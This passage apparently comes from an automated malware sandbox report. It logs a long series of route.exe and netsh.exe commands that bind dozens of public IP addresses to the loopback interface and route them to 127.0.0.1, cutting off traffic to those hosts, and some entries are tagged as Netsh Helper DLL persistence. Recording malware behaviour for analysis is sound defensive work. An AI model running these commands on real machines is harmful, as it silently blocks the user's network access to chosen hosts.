- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.11 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2540
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.111 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3044
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.111
  2⤵
  PID:4540
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4348
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5708
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.122 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2572
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.122
  2⤵
  PID:840
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.122 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3664
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.123 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1568
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.123
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.150 255.255.255.255
  2⤵
  PID:2972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.150
  2⤵
  PID:1052
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.150 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2308
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.156 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1376
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.156
  2⤵
  PID:5244
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4496
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.188 255.255.255.255
  2⤵
  PID:1832
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.188
  2⤵
  PID:5332
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.188 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:824
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.199 255.255.255.255
  2⤵
  PID:1760
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.199
  2⤵
  PID:4484
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.199 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5008
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.22 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.22
  2⤵
  PID:5840
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.22 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3140
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.222 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5148
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.222
  2⤵
  PID:892
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2524
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.222 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4068
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.233 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4904
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.233
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.233 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4552
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.234 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1140
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.234
  2⤵
  PID:5452
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.234 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3384
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.239 255.255.255.255
  2⤵
  PID:260
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.239
  2⤵
  PID:1688
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.239 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:696
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.247 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1428
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.247
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1224
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.55 255.255.255.255
  2⤵
  PID:2568
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.55
  2⤵
  PID:6020
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.55 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4736
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.66 255.255.255.255
  2⤵
  PID:5708
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.66
  2⤵
  PID:2604
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.80 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3664
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.80
  2⤵
  PID:1444
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2236
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.88 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1848
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.88
  2⤵
  PID:3676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.88 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1052
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.97 255.255.255.255
  2⤵
  PID:2120
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.97
  2⤵
  PID:1376
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.97 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2240
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.99 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1300
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.99
  2⤵
  PID:1544
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1832
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.99 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3424
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5332
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.129.131 255.255.255.255
  2⤵
  PID:3176
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.129.131
  2⤵
  PID:844
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.129.131 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5196
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.132.29 255.255.255.255
  2⤵
  PID:1136
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.132.29
  2⤵
  PID:1604
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.132.29 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3724
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.137.135 255.255.255.255
  2⤵
  PID:5660
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.137.135
  2⤵
  PID:1824
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.137.135 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1704
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.161 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:936
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.143.161
  2⤵
  PID:4904
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.143.161 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6056
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.247 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:6112
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.143.247
  2⤵
  PID:3088
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.143.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.154 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4980
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.144.154
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.144.154 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1844
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.231 255.255.255.255
  2⤵
  PID:2072
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.144.231
  2⤵
  PID:4412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.144.231 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:200
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5992
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.165.85 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1088
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.165.85
  2⤵
  PID:5756
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.165.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6020
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.167.213 255.255.255.255
  2⤵
  PID:2376
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.167.213
  2⤵
  PID:4644
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.167.213 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1768
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.177.128 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2908
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.177.128
  2⤵
  PID:4844
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3664
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.177.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4956
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.182.204 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2916
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.182.204
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.182.204 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.186.91 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2308
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.186.91
  2⤵
  PID:4364
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.186.91 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5684
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.202.159 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:500
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.202.159
  2⤵
  PID:3244
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.202.159 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.212.166 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4788
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.212.166
  2⤵
  PID:3736
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.212.166 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3488
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.182 255.255.255.255
  2⤵
  PID:928
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.214.182
  2⤵
  PID:2984
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.214.182 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4808
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.70 255.255.255.255
  2⤵
  PID:4320
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.214.70
  2⤵
  PID:4332
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.214.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4120
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.215.173 255.255.255.255
  2⤵
  PID:3232
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.215.173
  2⤵
  PID:2476
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5060
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.215.173 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3360
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.217.247 255.255.255.255
  2⤵
  PID:6056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.217.247
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.217.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:292
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.222.64 255.255.255.255
  2⤵
  PID:5936
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.222.64
  2⤵
  PID:4960
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.222.64 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4984
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 175.24.163.232 255.255.255.255
  2⤵
  PID:5588
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 175.24.163.232
  2⤵
  PID:1296
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 175.24.163.232 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5636
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 202.189.23.191 255.255.255.255
  2⤵
  PID:4772
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 202.189.23.191
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 202.189.23.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.33.12 255.255.255.255
  2⤵
  PID:5616
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 222.167.33.12
  2⤵
  PID:1876
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 222.167.33.12 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6120
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.34.57 255.255.255.255
  2⤵
  PID:4560
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 222.167.34.57
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 222.167.34.57 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6104
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2236
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 27.124.41.85 255.255.255.255
  2⤵
  PID:2676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 27.124.41.85
  2⤵
  PID:2076
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 27.124.41.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5408
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.123 255.255.255.255
  2⤵
  PID:1620
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 36.51.224.123
  2⤵
  PID:3828
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2120
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 36.51.224.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4064
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.126 255.255.255.255
  2⤵
  PID:5724
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 36.51.224.126
  2⤵
  PID:972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 36.51.224.126 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4048
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.33.5.156 255.255.255.255
  2⤵
  PID:4712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5424
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.33.5.156
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.33.5.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5200
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.76.195.115 255.255.255.255
  2⤵
  PID:5008
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.76.195.115
  2⤵
  PID:8
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.76.195.115 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1588
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.155 255.255.255.255
  2⤵
  PID:4708
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.155
  2⤵
  PID:4088
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.155 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4332
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.162 255.255.255.255
  2⤵
  PID:4120
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.162
  2⤵
  PID:3232
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.162 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3680
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.167 255.255.255.255
  2⤵
  PID:5320
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.167
  2⤵
  PID:5128
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.167 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2472
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:108
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.168 255.255.255.255
  2⤵
  PID:2964
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.168
  2⤵
  PID:1596
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.168 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2416
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1688
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.183 255.255.255.255
  2⤵
  PID:3452
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2260
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.183
  2⤵
  PID:5588
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.183 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1296
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2856
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.184 255.255.255.255
  2⤵
  PID:4472
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.184
  2⤵
  PID:208
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.184 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4348
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4540
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.185 255.255.255.255
  2⤵
  PID:4316
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.185
  2⤵
  PID:4616
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.185 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:840
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.214 255.255.255.255
  2⤵
  PID:2724
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.214
  2⤵
  PID:4236
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.214 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.219 255.255.255.255
  2⤵
  PID:2348
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.219
  2⤵
  PID:2304
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3460
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.219 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5760
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.229 255.255.255.255
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.229
  2⤵
  PID:4364
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5244
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.229 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2240
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.153.60.128 255.255.255.255
  2⤵
  PID:2092
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 43.153.60.128
  2⤵
  PID:3536
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 43.153.60.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:972
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.230.72.70 255.255.255.255
  2⤵
  PID:4048
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3424
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 43.230.72.70
  2⤵
  PID:4712
